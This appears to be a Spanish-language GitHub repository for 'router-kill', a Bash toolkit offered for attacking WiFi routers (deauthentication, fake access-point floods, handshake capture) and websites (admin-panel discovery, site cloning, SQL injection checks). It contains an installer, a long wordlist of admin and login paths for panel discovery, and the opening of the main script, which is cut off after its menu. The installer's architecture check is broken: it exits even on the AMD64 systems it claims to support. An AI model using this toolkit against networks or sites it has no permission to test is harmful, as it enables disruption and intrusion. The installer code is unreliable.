├── README.md ├── install.sh ├── directorys.txt └── routerkill.sh /README.md: -------------------------------------------------------------------------------- 1 |

2 | 3 |

4 | 5 |

6 | 7 | 8 |

9 | 10 |

11 | 12 | 13 |

14 | 15 |

16 | 17 | 18 |

19 | 20 | **Router-kill** es un framework diseñado para automatizar el proceso para atacar un router de diferentes maneras. Actualmente las redes WIFI siguen siendo vulnerables a estos ataques y este pequeño programa en BASH ayuda a automatizar a realizar dichos ataques, trabaja principalmente con dependencias muy famosas en distribuciones como **Kali Linux** o **Parrot Security OS** 21 | 22 | 23 | ## Tipos de Ataques 24 | 25 | | Ataque | Informacion | 26 | |---------------|-----------------------------------------------| 27 | | Deauth: | Desauntentica todos los clientes de la red | 28 | | Auth | Solicita y manda solicitudes falsas de Auth | 29 | | Fake AP | Crea un flood de Falsos puntos de acceso | 30 | | Inject packet | Autentica un falso cliente y Inyecta paquetes | 31 | | Handshaske | Captura el Handshake de la red solicitada | 32 | 33 | ## Funciones Web Attacks v3.0 34 | 35 | | Ataque | Informacion | 36 | |---------------|-----------------------------------------------| 37 | | Find Panel | Encuentra el panel administrativo de un sitio | 38 | | Clone page | Clona un sitio web index o sitio completo. | 39 | | Check SQLI | Verifica si un sitio es vulnerable a SQLI | 40 | 41 | ## Distribuciones compatibles con Router-kill: 42 | 43 | | Distribución | Estado | 44 | |--------------|---------------| 45 | | Kali Linux | Compatible | 46 | | Ubuntu | Compatible | 47 | | Xbuntu | Compatible | 48 | | Debian | Compatible | 49 | | Parrot OS | Compatible | 50 | 51 | # Dependencias: 52 | 53 | | Dependencias nesesarias | 54 | |-------------------------| 55 | | Aireplay-ng | 56 | | Mdk3 | 57 | | Macchanger | 58 | | Toilet | 59 | 60 | 61 | ## Demostracion de uso: 62 | 63 | 64 | 65 | 66 | 67 | 68 | ## Instalacion 🔧 69 | 70 | * git clone https://github.com/FacuSecX/router-kill/ 71 | * cd router-kill 72 | * chmod +x install.sh 73 | * ./install.sh 74 | 75 | ## Creditos: 76 | 77 | * Facu (FacuSecX) 78 | * Regalanos una estrella en el repositorio, gracias. 79 | -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | 4 | #Colors 5 | white="\033[1;37m" 6 | grey="\033[0;37m" 7 | purple="\033[0;35m" 8 | red="\033[1;31m" 9 | green="\033[1;32m" 10 | yellow="\033[1;33m" 11 | Purple="\033[0;35m" 12 | Cyan="\033[0;36m" 13 | Cafe="\033[0;33m" 14 | Fiuscha="\033[0;35m" 15 | blue="\033[1;34m" 16 | nc="\e[0m" 17 | clear 18 | 19 | 20 | case `dpkg --print-architecture` in 21 | aarch64) 22 | echo -e "$red(error)$blue el script solo soporta arquitectura$red AMD 64$blue Sistemas debian y deribados [$red✗$nc]" 23 | exit 24 | ;; 25 | arm) 26 | echo -e "$red(error)$blue el script solo soporta arquitectura$red AMD 64$blue Sistemas debian y deribados [$red✗$nc]" 27 | exit 28 | ;; 29 | armhf) 30 | echo -e "$red(error)$blue el script solo soporta arquitectura$red AMD 64$blue Sistemas debian y deribados [$red✗$nc]" 31 | exit 32 | ;; 33 | 34 | i*86) 35 | echo -e "$red(error)$blue el script solo soporta arquitectura$red AMD 64$blue Sistemas debian y deribados [$red✗$nc]" 36 | exit 37 | ;; 38 | x86_64) 39 | echo -e "$red(error)$blue el script solo soporta arquitectura$red AMD 64$blue Sistemas debian y deribados [$red✗$nc]" 40 | exit 41 | ;; 42 | esac 43 | 44 | 45 | 46 | 47 | 48 | 49 | if [[ $EUID -ne 0 ]]; then 50 | echo " " 51 | echo " (✗) No eres usuario root, para ejecutar la heramienta tienes que ejecutarla siendo root (✗) " 52 | echo " (✗) You are not a root user, to run the tool you have to run it as root (✗) " 53 | exit 1 54 | fi 55 | 56 | apt-get update -y && apt-get upgrade -y 57 | clear 58 | if which airodump-ng >/dev/null; then 59 | sleep 0.25 60 | echo -e "$blue(AIRODUMP-NG)$nc .................................................. Instalado [$green✓$nc]" 61 | else 62 | sleep 0.25 63 | echo -e "$red(AIRODUMP-NG)$nc No instalado [$red✗$nc]" 64 | sleep 1 65 | apt-get install aircrack-ng -y 66 | 67 | 68 | fi 69 | 70 | 71 | if which mdk3 >/dev/null; then 72 | sleep 0.25 73 | echo -e "$blue(MDK3)$nc ......................................................... Instalado [$green✓$nc]" 74 | sleep 0.25 75 | else 76 | sleep 0.25 77 | echo -e "$red(MDK3)$nc No instalado [$red✗$nc]" 78 | sleep 1 79 | apt-get install mdk3 -y 80 | 81 | fi 82 | 83 | if which toilet >/dev/null; then 84 | sleep 0.25 85 | echo -e "$blue(Toilet)$nc ......................................................... Instalado [$green✓$nc]" 86 | sleep 0.25 87 | else 88 | sleep 0.25 89 | echo -e "$red(Toilet)$nc No instalado [$red✗$nc]" 90 | sleep 1 91 | apt-get install toilet -y 92 | 93 | fi 94 | if which macchanger >/dev/null; then 95 | sleep 0.25 96 | echo -e "$blue(macchanger)$nc ......................................................... Instalado [$green✓$nc]" 97 | sleep 0.25 98 | else 99 | sleep 0.25 100 | echo -e "$red(macchanger)$nc No instalado [$red✗$nc]" 101 | sleep 1 102 | apt-get install macchanger -y 103 | 104 | fi 105 | 106 | if which ruby >/dev/null; then 107 | sleep 0.25 108 | echo -e "$blue(ruby)$nc ......................................................... Instalado [$green✓$nc]" 109 | sleep 0.25 110 | gem install lolcat 111 | else 112 | sleep 0.25 113 | echo -e "$red(macchanger)$nc No instalado [$red✗$nc]" 114 | sleep 1 115 | apt-get install ruby -y 116 | gem install lolcat 117 | 118 | fi 119 | 120 | 121 | clear 122 | chmod +x routerkill.sh 123 | mkdir handshake 124 | echo -e "iniciando programa en 5 segundos" 125 | sleep 5 126 | bash routerkill.sh 127 | -------------------------------------------------------------------------------- /directorys.txt: -------------------------------------------------------------------------------- 1 | admin/ 2 | administrator/ 3 | admin1/ 4 | admin2/ 5 | admin3/ 6 | admin4/ 7 | admin5/ 8 | usuarios/ 9 | usuario/ 10 | administrator/ 11 | moderator/ 12 | webadmin/ 13 | adminarea/ 14 | bb-admin/ 15 | adminLogin/ 16 | admin_area/ 17 | panel-administracion/ 18 | instadmin/ 19 | memberadmin/ 20 | administratorlogin/ 21 | adm/ 22 | admin/account.php 23 | admin/index.php 24 | admin/login.php 25 | admin/admin.php 26 | admin/account.php 27 | admin_area/admin.php 28 | admin_area/login.php 29 | siteadmin/login.php 30 | siteadmin/index.php 31 | siteadmin/login.html 32 | admin/account.html 33 | admin/index.html 34 | admin/login.html 35 | admin/admin.html 36 | admin_area/index.php 37 | bb-admin/index.php 38 | bb-admin/login.php 39 | bb-admin/admin.php 40 | admin/home.php 41 | admin_area/login.html 42 | admin_area/index.html 43 | admin/controlpanel.php 44 | admin.php 45 | admincp/index.asp 46 | admincp/login.asp 47 | admincp/index.html 48 | admin/account.html 49 | adminpanel.html 50 | webadmin.html 51 | webadmin/index.html 52 | webadmin/admin.html 53 | webadmin/login.html 54 | admin/admin_login.html 55 | admin_login.html 56 | panel-administracion/login.html 57 | admin/cp.php 58 | cp.php 59 | administrator/index.php 60 | administrator/login.php 61 | nsw/admin/login.php 62 | webadmin/login.php 63 | admin/admin_login.php 64 | admin_login.php 65 | administrator/account.php 66 | administrator.php 67 | admin_area/admin.html 68 | pages/admin/admin-login.php 69 | admin/admin-login.php 70 | admin-login.php 71 | bb-admin/index.html 72 | bb-admin/login.html 73 | acceso.php 74 | bb-admin/admin.html 75 | admin/home.html 76 | login.php 77 | modelsearch/login.php 78 | moderator.php 79 | moderator/login.php 80 | moderator/admin.php 81 | account.php 82 | pages/admin/admin-login.html 83 | admin/admin-login.html 84 | admin-login.html 85 | controlpanel.php 86 | admincontrol.php 87 | admin/adminLogin.html 88 | adminLogin.html 89 | admin/adminLogin.html 90 | home.html 91 | rcjakar/admin/login.php 92 | adminarea/index.html 93 | adminarea/admin.html 94 | webadmin.php 95 | webadmin/index.php 96 | webadmin/admin.php 97 | admin/controlpanel.html 98 | admin.html 99 | admin/cp.html 100 | cp.html 101 | adminpanel.php 102 | moderator.html 103 | administrator/index.html 104 | administrator/login.html 105 | user.html 106 | administrator/account.html 107 | administrator.html 108 | login.html 109 | modelsearch/login.html 110 | moderator/login.html 111 | adminarea/login.html 112 | panel-administracion/index.html 113 | panel-administracion/admin.html 114 | modelsearch/index.html 115 | modelsearch/admin.html 116 | admincontrol/login.html 117 | adm/index.html 118 | adm.html 119 | moderator/admin.html 120 | user.php 121 | account.html 122 | controlpanel.html 123 | admincontrol.html 124 | panel-administracion/login.php 125 | wp-login.php 126 | adminLogin.php 127 | admin/adminLogin.php 128 | home.php 129 | admin.php 130 | adminarea/index.php 131 | adminarea/admin.php 132 | adminarea/login.php 133 | panel-administracion/index.php 134 | panel-administracion/admin.php 135 | modelsearch/index.php 136 | modelsearch/admin.php 137 | admincontrol/login.php 138 | adm/admloginuser.php 139 | admloginuser.php 140 | admin2.php 141 | admin2/login.php 142 | admin2/index.php 143 | usuarios/login.php 144 | adm/index.php 145 | adm.php 146 | affiliate.php 147 | adm_auth.php 148 | memberadmin.php 149 | administratorlogin.php 150 | admin/ 151 | administrator/ 152 | admin1/ 153 | admin2/ 154 | admin3/ 155 | admin4/ 156 | admin5/ 157 | moderator/ 158 | webadmin/ 159 | adminarea/ 160 | bb-admin/ 161 | adminLogin/ 162 | admin_area/ 163 | panel-administracion/ 164 | instadmin/ 165 | memberadmin/ 166 | administratorlogin/ 167 | adm/ 168 | account.asp 169 | admin/account.asp 170 | admin/index.asp 171 | admin/login.asp 172 | admin/admin.asp 173 | admin_area/admin.asp 174 | admin_area/login.asp 175 | admin/account.html 176 | admin/index.html 177 | admin/login.html 178 | admin/admin.html 179 | admin_area/admin.html 180 | admin_area/login.html 181 | admin_area/index.html 182 | admin_area/index.asp 183 | bb-admin/index.asp 184 | bb-admin/login.asp 185 | bb-admin/admin.asp 186 | bb-admin/index.html 187 | bb-admin/login.html 188 | bb-admin/admin.html 189 | admin/home.html 190 | admin/controlpanel.html 191 | admin.html 192 | admin/cp.html 193 | cp.html 194 | administrator/index.html 195 | administrator/login.html 196 | administrator/account.html 197 | administrator.html 198 | login.html 199 | modelsearch/login.html 200 | moderator.html 201 | moderator/login.html 202 | moderator/admin.html 203 | account.html 204 | controlpanel.html 205 | admincontrol.html 206 | admin_login.html 207 | panel-administracion/login.html 208 | admin/home.asp 209 | admin/controlpanel.asp 210 | admin.asp 211 | pages/admin/admin-login.asp 212 | admin/admin-login.asp 213 | admin-login.asp 214 | admin/cp.asp 215 | cp.asp 216 | administrator/account.asp 217 | administrator.asp 218 | acceso.asp 219 | login.asp 220 | modelsearch/login.asp 221 | moderator.asp 222 | moderator/login.asp 223 | administrator/login.asp 224 | moderator/admin.asp 225 | controlpanel.asp 226 | admin/account.html 227 | adminpanel.html 228 | webadmin.html 229 | pages/admin/admin-login.html 230 | admin/admin-login.html 231 | webadmin/index.html 232 | webadmin/admin.html 233 | webadmin/login.html 234 | user.asp 235 | user.html 236 | admincp/index.asp 237 | admincp/login.asp 238 | admincp/index.html 239 | admin/adminLogin.html 240 | adminLogin.html 241 | admin/adminLogin.html 242 | home.html 243 | adminarea/index.html 244 | adminarea/admin.html 245 | adminarea/login.html 246 | panel-administracion/index.html 247 | panel-administracion/admin.html 248 | modelsearch/index.html 249 | modelsearch/admin.html 250 | admin/admin_login.html 251 | admincontrol/login.html 252 | adm/index.html 253 | adm.html 254 | admincontrol.asp 255 | admin/account.asp 256 | adminpanel.asp 257 | webadmin.asp 258 | webadmin/index.asp 259 | webadmin/admin.asp 260 | webadmin/login.asp 261 | admin/admin_login.asp 262 | admin_login.asp 263 | panel-administracion/login.asp 264 | adminLogin.asp 265 | admin/adminLogin.asp 266 | home.asp 267 | admin.asp 268 | adminarea/index.asp 269 | adminarea/admin.asp 270 | adminarea/login.asp 271 | admin-login.html 272 | panel-administracion/index.asp 273 | panel-administracion/admin.asp 274 | modelsearch/index.asp 275 | modelsearch/admin.asp 276 | administrator/index.asp 277 | admincontrol/login.asp 278 | adm/admloginuser.asp 279 | admloginuser.asp 280 | admin2.asp 281 | admin2/login.asp 282 | admin2/index.asp 283 | adm/index.asp 284 | adm.asp 285 | affiliate.asp 286 | adm_auth.asp 287 | memberadmin.asp 288 | administratorlogin.asp 289 | siteadmin/login.asp 290 | siteadmin/index.asp 291 | siteadmin/login.html 292 | admin/ 293 | administrator/ 294 | admin1/ 295 | admin2/ 296 | admin3/ 297 | admin4/ 298 | admin5/ 299 | usuarios/ 300 | usuario/ 301 | administrator/ 302 | moderator/ 303 | webadmin/ 304 | adminarea/ 305 | bb-admin/ 306 | adminLogin/ 307 | admin_area/ 308 | panel-administracion/ 309 | instadmin/ 310 | memberadmin/ 311 | administratorlogin/ 312 | adm/ 313 | admin/account.cfm 314 | admin/index.cfm 315 | admin/login.cfm 316 | admin/admin.cfm 317 | admin/account.cfm 318 | admin_area/admin.cfm 319 | admin_area/login.cfm 320 | siteadmin/login.cfm 321 | siteadmin/index.cfm 322 | siteadmin/login.html 323 | admin/account.html 324 | admin/index.html 325 | admin/login.html 326 | admin/admin.html 327 | admin_area/index.cfm 328 | bb-admin/index.cfm 329 | bb-admin/login.cfm 330 | bb-admin/admin.cfm 331 | admin/home.cfm 332 | admin_area/login.html 333 | admin_area/index.html 334 | admin/controlpanel.cfm 335 | admin.cfm 336 | admincp/index.asp 337 | admincp/login.asp 338 | admincp/index.html 339 | admin/account.html 340 | adminpanel.html 341 | webadmin.html 342 | webadmin/index.html 343 | webadmin/admin.html 344 | webadmin/login.html 345 | admin/admin_login.html 346 | admin_login.html 347 | panel-administracion/login.html 348 | admin/cp.cfm 349 | cp.cfm 350 | administrator/index.cfm 351 | administrator/login.cfm 352 | nsw/admin/login.cfm 353 | webadmin/login.cfm 354 | admin/admin_login.cfm 355 | admin_login.cfm 356 | administrator/account.cfm 357 | administrator.cfm 358 | admin_area/admin.html 359 | pages/admin/admin-login.cfm 360 | admin/admin-login.cfm 361 | admin-login.cfm 362 | bb-admin/index.html 363 | bb-admin/login.html 364 | bb-admin/admin.html 365 | admin/home.html 366 | login.cfm 367 | modelsearch/login.cfm 368 | moderator.cfm 369 | moderator/login.cfm 370 | moderator/admin.cfm 371 | account.cfm 372 | pages/admin/admin-login.html 373 | admin/admin-login.html 374 | admin-login.html 375 | controlpanel.cfm 376 | admincontrol.cfm 377 | admin/adminLogin.html 378 | acceso.cfm 379 | adminLogin.html 380 | admin/adminLogin.html 381 | home.html 382 | rcjakar/admin/login.cfm 383 | adminarea/index.html 384 | adminarea/admin.html 385 | webadmin.cfm 386 | webadmin/index.cfm 387 | webadmin/admin.cfm 388 | admin/controlpanel.html 389 | admin.html 390 | admin/cp.html 391 | cp.html 392 | adminpanel.cfm 393 | moderator.html 394 | administrator/index.html 395 | administrator/login.html 396 | user.html 397 | administrator/account.html 398 | administrator.html 399 | login.html 400 | modelsearch/login.html 401 | moderator/login.html 402 | adminarea/login.html 403 | panel-administracion/index.html 404 | panel-administracion/admin.html 405 | modelsearch/index.html 406 | modelsearch/admin.html 407 | admincontrol/login.html 408 | adm/index.html 409 | adm.html 410 | moderator/admin.html 411 | user.cfm 412 | account.html 413 | controlpanel.html 414 | admincontrol.html 415 | panel-administracion/login.cfm 416 | wp-login.cfm 417 | adminLogin.cfm 418 | admin/adminLogin.cfm 419 | home.cfm 420 | admin.cfm 421 | adminarea/index.cfm 422 | adminarea/admin.cfm 423 | adminarea/login.cfm 424 | panel-administracion/index.cfm 425 | panel-administracion/admin.cfm 426 | modelsearch/index.cfm 427 | modelsearch/admin.cfm 428 | admincontrol/login.cfm 429 | adm/admloginuser.cfm 430 | admloginuser.cfm 431 | admin2.cfm 432 | admin2/login.cfm 433 | admin2/index.cfm 434 | usuarios/login.cfm 435 | adm/index.cfm 436 | adm.cfm 437 | affiliate.cfm 438 | adm_auth.cfm 439 | memberadmin.cfm 440 | administratorlogin.cfm 441 | admin/ 442 | administrator/ 443 | admin1/ 444 | admin2/ 445 | admin3/ 446 | admin4/ 447 | admin5/ 448 | usuarios/ 449 | usuario/ 450 | administrator/ 451 | moderator/ 452 | webadmin/ 453 | adminarea/ 454 | bb-admin/ 455 | adminLogin/ 456 | admin_area/ 457 | panel-administracion/ 458 | instadmin/ 459 | memberadmin/ 460 | administratorlogin/ 461 | adm/ 462 | admin/account.js 463 | admin/index.js 464 | admin/login.js 465 | admin/admin.js 466 | admin/account.js 467 | admin_area/admin.js 468 | admin_area/login.js 469 | siteadmin/login.js 470 | siteadmin/index.js 471 | siteadmin/login.html 472 | admin/account.html 473 | admin/index.html 474 | admin/login.html 475 | admin/admin.html 476 | admin_area/index.js 477 | bb-admin/index.js 478 | bb-admin/login.js 479 | bb-admin/admin.js 480 | admin/home.js 481 | admin_area/login.html 482 | admin_area/index.html 483 | admin/controlpanel.js 484 | admin.js 485 | admincp/index.asp 486 | admincp/login.asp 487 | admincp/index.html 488 | admin/account.html 489 | adminpanel.html 490 | webadmin.html 491 | webadmin/index.html 492 | webadmin/admin.html 493 | webadmin/login.html 494 | admin/admin_login.html 495 | admin_login.html 496 | panel-administracion/login.html 497 | admin/cp.js 498 | cp.js 499 | administrator/index.js 500 | administrator/login.js 501 | nsw/admin/login.js 502 | webadmin/login.js 503 | admin/admin_login.js 504 | admin_login.js 505 | administrator/account.js 506 | administrator.js 507 | admin_area/admin.html 508 | pages/admin/admin-login.js 509 | admin/admin-login.js 510 | admin-login.js 511 | bb-admin/index.html 512 | bb-admin/login.html 513 | bb-admin/admin.html 514 | admin/home.html 515 | login.js 516 | modelsearch/login.js 517 | moderator.js 518 | moderator/login.js 519 | moderator/admin.js 520 | account.js 521 | pages/admin/admin-login.html 522 | admin/admin-login.html 523 | admin-login.html 524 | controlpanel.js 525 | admincontrol.js 526 | admin/adminLogin.html 527 | adminLogin.html 528 | admin/adminLogin.html 529 | home.html 530 | rcjakar/admin/login.js 531 | adminarea/index.html 532 | adminarea/admin.html 533 | webadmin.js 534 | webadmin/index.js 535 | acceso.js 536 | webadmin/admin.js 537 | admin/controlpanel.html 538 | admin.html 539 | admin/cp.html 540 | cp.html 541 | adminpanel.js 542 | moderator.html 543 | administrator/index.html 544 | administrator/login.html 545 | user.html 546 | administrator/account.html 547 | administrator.html 548 | login.html 549 | modelsearch/login.html 550 | moderator/login.html 551 | adminarea/login.html 552 | panel-administracion/index.html 553 | panel-administracion/admin.html 554 | modelsearch/index.html 555 | modelsearch/admin.html 556 | admincontrol/login.html 557 | adm/index.html 558 | adm.html 559 | moderator/admin.html 560 | user.js 561 | account.html 562 | controlpanel.html 563 | admincontrol.html 564 | panel-administracion/login.js 565 | wp-login.js 566 | adminLogin.js 567 | admin/adminLogin.js 568 | home.js 569 | admin.js 570 | adminarea/index.js 571 | adminarea/admin.js 572 | adminarea/login.js 573 | panel-administracion/index.js 574 | panel-administracion/admin.js 575 | modelsearch/index.js 576 | modelsearch/admin.js 577 | admincontrol/login.js 578 | adm/admloginuser.js 579 | admloginuser.js 580 | admin2.js 581 | admin2/login.js 582 | admin2/index.js 583 | usuarios/login.js 584 | adm/index.js 585 | adm.js 586 | affiliate.js 587 | adm_auth.js 588 | memberadmin.js 589 | administratorlogin.js 590 | admin/ 591 | administrator/ 592 | admin1/ 593 | admin2/ 594 | admin3/ 595 | admin4/ 596 | admin5/ 597 | usuarios/ 598 | usuario/ 599 | administrator/ 600 | moderator/ 601 | webadmin/ 602 | adminarea/ 603 | bb-admin/ 604 | adminLogin/ 605 | admin_area/ 606 | panel-administracion/ 607 | instadmin/ 608 | memberadmin/ 609 | administratorlogin/ 610 | adm/ 611 | admin/account.cgi 612 | admin/index.cgi 613 | admin/login.cgi 614 | admin/admin.cgi 615 | admin/account.cgi 616 | admin_area/admin.cgi 617 | admin_area/login.cgi 618 | siteadmin/login.cgi 619 | siteadmin/index.cgi 620 | siteadmin/login.html 621 | admin/account.html 622 | admin/index.html 623 | admin/login.html 624 | admin/admin.html 625 | admin_area/index.cgi 626 | bb-admin/index.cgi 627 | asd/ 628 | bb-admin/login.cgi 629 | bb-admin/admin.cgi 630 | admin/home.cgi 631 | admin_area/login.html 632 | admin_area/index.html 633 | admin/controlpanel.cgi 634 | admin.cgi 635 | admincp/index.asp 636 | admincp/login.asp 637 | admincp/index.html 638 | admin/account.html 639 | adminpanel.html 640 | webadmin.html 641 | webadmin/index.html 642 | webadmin/admin.html 643 | webadmin/login.html 644 | admin/admin_login.html 645 | admin_login.html 646 | panel-administracion/login.html 647 | admin/cp.cgi 648 | cp.cgi 649 | administrator/index.cgi 650 | administrator/login.cgi 651 | nsw/admin/login.cgi 652 | webadmin/login.cgi 653 | admin/admin_login.cgi 654 | admin_login.cgi 655 | administrator/account.cgi 656 | administrator.cgi 657 | admin_area/admin.html 658 | pages/admin/admin-login.cgi 659 | admin/admin-login.cgi 660 | admin-login.cgi 661 | bb-admin/index.html 662 | bb-admin/login.html 663 | bb-admin/admin.html 664 | admin/home.html 665 | login.cgi 666 | modelsearch/login.cgi 667 | moderator.cgi 668 | moderator/login.cgi 669 | moderator/admin.cgi 670 | account.cgi 671 | pages/admin/admin-login.html 672 | admin/admin-login.html 673 | admin-login.html 674 | controlpanel.cgi 675 | admincontrol.cgi 676 | admin/adminLogin.html 677 | adminLogin.html 678 | admin/adminLogin.html 679 | home.html 680 | rcjakar/admin/login.cgi 681 | adminarea/index.html 682 | adminarea/admin.html 683 | webadmin.cgi 684 | webadmin/index.cgi 685 | acceso.cgi 686 | webadmin/admin.cgi 687 | admin/controlpanel.html 688 | admin.html 689 | admin/cp.html 690 | cp.html 691 | adminpanel.cgi 692 | moderator.html 693 | administrator/index.html 694 | administrator/login.html 695 | user.html 696 | administrator/account.html 697 | administrator.html 698 | login.html 699 | modelsearch/login.html 700 | moderator/login.html 701 | adminarea/login.html 702 | panel-administracion/index.html 703 | panel-administracion/admin.html 704 | modelsearch/index.html 705 | modelsearch/admin.html 706 | admincontrol/login.html 707 | adm/index.html 708 | adm.html 709 | moderator/admin.html 710 | user.cgi 711 | account.html 712 | controlpanel.html 713 | admincontrol.html 714 | panel-administracion/login.cgi 715 | wp-login.cgi 716 | adminLogin.cgi 717 | admin/adminLogin.cgi 718 | home.cgi 719 | admin.cgi 720 | adminarea/index.cgi 721 | adminarea/admin.cgi 722 | adminarea/login.cgi 723 | panel-administracion/index.cgi 724 | panel-administracion/admin.cgi 725 | modelsearch/index.cgi 726 | modelsearch/admin.cgi 727 | admincontrol/login.cgi 728 | adm/admloginuser.cgi 729 | admloginuser.cgi 730 | admin2.cgi 731 | admin2/login.cgi 732 | admin2/index.cgi 733 | usuarios/login.cgi 734 | adm/index.cgi 735 | adm.cgi 736 | affiliate.cgi 737 | adm_auth.cgi 738 | memberadmin.cgi 739 | administratorlogin.cgi 740 | admin/ 741 | administrator/ 742 | admin1/ 743 | admin2/ 744 | admin3/ 745 | admin4/ 746 | admin5/ 747 | usuarios/ 748 | usuario/ 749 | administrator/ 750 | moderator/ 751 | webadmin/ 752 | adminarea/ 753 | bb-admin/ 754 | adminLogin/ 755 | admin_area/ 756 | panel-administracion/ 757 | instadmin/ 758 | memberadmin/ 759 | administratorlogin/ 760 | adm/ 761 | admin/account.brf 762 | admin/index.brf 763 | admin/login.brf 764 | admin/admin.brf 765 | admin/account.brf 766 | admin_area/admin.brf 767 | admin_area/login.brf 768 | siteadmin/login.brf 769 | siteadmin/index.brf 770 | siteadmin/login.html 771 | admin/account.html 772 | admin/index.html 773 | admin/login.html 774 | admin/admin.html 775 | admin_area/index.brf 776 | bb-admin/index.brf 777 | bb-admin/login.brf 778 | bb-admin/admin.brf 779 | admin/home.brf 780 | admin_area/login.html 781 | admin_area/index.html 782 | admin/controlpanel.brf 783 | admin.brf 784 | admincp/index.asp 785 | admincp/login.asp 786 | admincp/index.html 787 | admin/account.html 788 | adminpanel.html 789 | webadmin.html 790 | webadmin/index.html 791 | webadmin/admin.html 792 | webadmin/login.html 793 | admin/admin_login.html 794 | admin_login.html 795 | panel-administracion/login.html 796 | admin/cp.brf 797 | cp.brf 798 | administrator/index.brf 799 | administrator/login.brf 800 | nsw/admin/login.brf 801 | webadmin/login.brfbrf 802 | admin/admin_login.brf 803 | admin_login.brf 804 | administrator/account.brf 805 | administrator.brf 806 | acceso.brf 807 | admin_area/admin.html 808 | pages/admin/admin-login.brf 809 | admin/admin-login.brf 810 | admin-login.brf 811 | bb-admin/index.html 812 | bb-admin/login.html 813 | bb-admin/admin.html 814 | admin/home.html 815 | login.brf 816 | modelsearch/login.brf 817 | moderator.brf 818 | moderator/login.brf 819 | moderator/admin.brf 820 | account.brf 821 | pages/admin/admin-login.html 822 | admin/admin-login.html 823 | admin-login.html 824 | controlpanel.brf 825 | admincontrol.brf 826 | admin/adminLogin.html 827 | adminLogin.html 828 | admin/adminLogin.html 829 | home.html 830 | rcjakar/admin/login.brf 831 | adminarea/index.html 832 | adminarea/admin.html 833 | webadmin.brf 834 | webadmin/index.brf 835 | webadmin/admin.brf 836 | admin/controlpanel.html 837 | admin.html 838 | admin/cp.html 839 | cp.html 840 | adminpanel.brf 841 | moderator.html 842 | administrator/index.html 843 | administrator/login.html 844 | user.html 845 | administrator/account.html 846 | administrator.html 847 | login.html 848 | modelsearch/login.html 849 | moderator/login.html 850 | adminarea/login.html 851 | panel-administracion/index.html 852 | panel-administracion/admin.html 853 | modelsearch/index.html 854 | modelsearch/admin.html 855 | admincontrol/login.html 856 | adm/index.html 857 | adm.html 858 | moderator/admin.html 859 | user.brf 860 | account.html 861 | controlpanel.html 862 | admincontrol.html 863 | panel-administracion/login.brf 864 | wp-login.brf 865 | adminLogin.brf 866 | admin/adminLogin.brf 867 | home.brf 868 | admin.brf 869 | adminarea/index.brf 870 | adminarea/admin.brf 871 | adminarea/login.brf 872 | panel-administracion/index.brf 873 | panel-administracion/admin.brf 874 | modelsearch/index.brf 875 | modelsearch/admin.brf 876 | admincontrol/login.brf 877 | adm/admloginuser.brf 878 | admloginuser.brf 879 | admin2.brf 880 | admin2/login.brf 881 | admin2/index.brf 882 | usuarios/login.brf 883 | adm/index.brf 884 | adm.brf 885 | affiliate.brf 886 | adm_auth.brf 887 | memberadmin.brf 888 | administratorlogin.brf 889 | -------------------------------------------------------------------------------- /routerkill.sh: -------------------------------------------------------------------------------- 1 | 2 | #!/bin/bash 3 | 4 | #Author: Facu Salgado https://github.com/bytesalgado/ 5 | #instagram: @facukaku021 6 | #twitter: @facukaku021 7 | 8 | # trap ctrl-c and call ctrl_c() 9 | trap ctrl_c INT 10 | 11 | s="s" 12 | 13 | 14 | #Colores lo q tanto te molestaba crack xd 15 | 16 | blanco="\033[1;37m" 17 | violeta="\033[0;35m" 18 | rojo="\033[1;31m" 19 | verde="\033[1;32m" 20 | amarillo="\033[1;33m" 21 | violeta2="\033[0;35m" 22 | azul="\033[1;34m" 23 | nc="\e[0m" 24 | mon="mon" 25 | 26 | 27 | function ctrl_c() { 28 | echo -e "$nc($azul*$nc)$verde Presionaste la tecla$rojo CTRL + C$verde Saliendo del Programa.." 29 | sleep 2 30 | checkmode=$(ifconfig -a | sed 's/[ \t].*//;/^\(lo\|\)$/d') 31 | #Verification mode monitor and exit 32 | if [[ $checkmode == *wlan0mon* ]] 33 | then 34 | airmon-ng stop wlan0mon 35 | echo -e "$nc($azul*$nc)$verde Modo monitor detenido..$nc" 36 | sleep 1 37 | fi 38 | 39 | if [[ $checkmode == *eth0mon* ]] 40 | then 41 | airmon-ng stop eth0mon 42 | echo -e "$nc($azul*$nc)$verde Modo monitor detenido..$nc" 43 | sleep 1 44 | fi 45 | 46 | if [[ $checkmode == *wlan1mon* ]] 47 | then 48 | airmon-ng stop wlan1mon 49 | echo -e "$nc($azul*$nc)$verde Modo monitor detenido..$nc" 50 | sleep 1 51 | fi 52 | echo -e "$nc($azul*$nc)$verde Gracias por usar nuestro Script $azul by Facu Salgado..$nc" 53 | sleep 1 54 | exit 55 | 56 | } 57 | 58 | 59 | case `dpkg --print-architecture` in 60 | aarch64) 61 | echo -e "$rojo(error)$azul el script solo soporta arquitectura$rojo AMD 64$azul Sistemas debian y deribados" 62 | exit 63 | ;; 64 | arm) 65 | echo -e "$rojo(error)$azul el script solo soporta arquitectura$rojo AMD 64$azul Sistemas debian y deribados" 66 | exit 67 | ;; 68 | armhf) 69 | echo -e "$rojo(error)$azul el script solo soporta arquitectura$rojo AMD 64$azul Sistemas debian y deribados" 70 | exit 71 | ;; 72 | 73 | i*86) 74 | echo -e "$rojo(error)$azul el script solo soporta arquitectura$rojo AMD 64$azul Sistemas debian y deribados" 75 | exit 76 | ;; 77 | x86_64) 78 | echo -e "$rojo(error)$azul el script solo soporta arquitectura$rojo AMD 64$azul Sistemas debian y deribados" 79 | exit 80 | ;; 81 | esac 82 | 83 | 84 | 85 | 86 | #Opciones menu 87 | 88 | a=$'\e[1;35mDeauth Atack\e[01;32m' 89 | b=$'\e[1;35mFake Point\e[01;32m' 90 | c=$'\e[1;35mAuth Atttack\e[01;32m' 91 | new=$'\e[1;35mInject Packets\e[01;32m' 92 | d=$'\e[1;35mStop monitor mode\e[01;32m' 93 | e=$'\e[1;35mCapture Handshake\e[01;32m' 94 | new2=$'\e[1;35mWeb Attacks\e[01;32m' 95 | update=$'\e[1;35mUpdate Program\e[01;32m' 96 | f=$'\e[1;35mExit Program\e[01;32m' 97 | 98 | 99 | #opciones MENU 100 | 101 | w1=$'\e[1;35mClonar sitio\e[01;32m' 102 | w2=$'\e[1;35mFind panel\e[01;32m' 103 | w3=$'\e[1;35mCheck SQLI\e[01;32m' 104 | w4=$'\e[1;35mBack menu\e[01;32m' 105 | 106 | 107 | wyes=$'\e[1;35mClonar Index\e[01;32m' 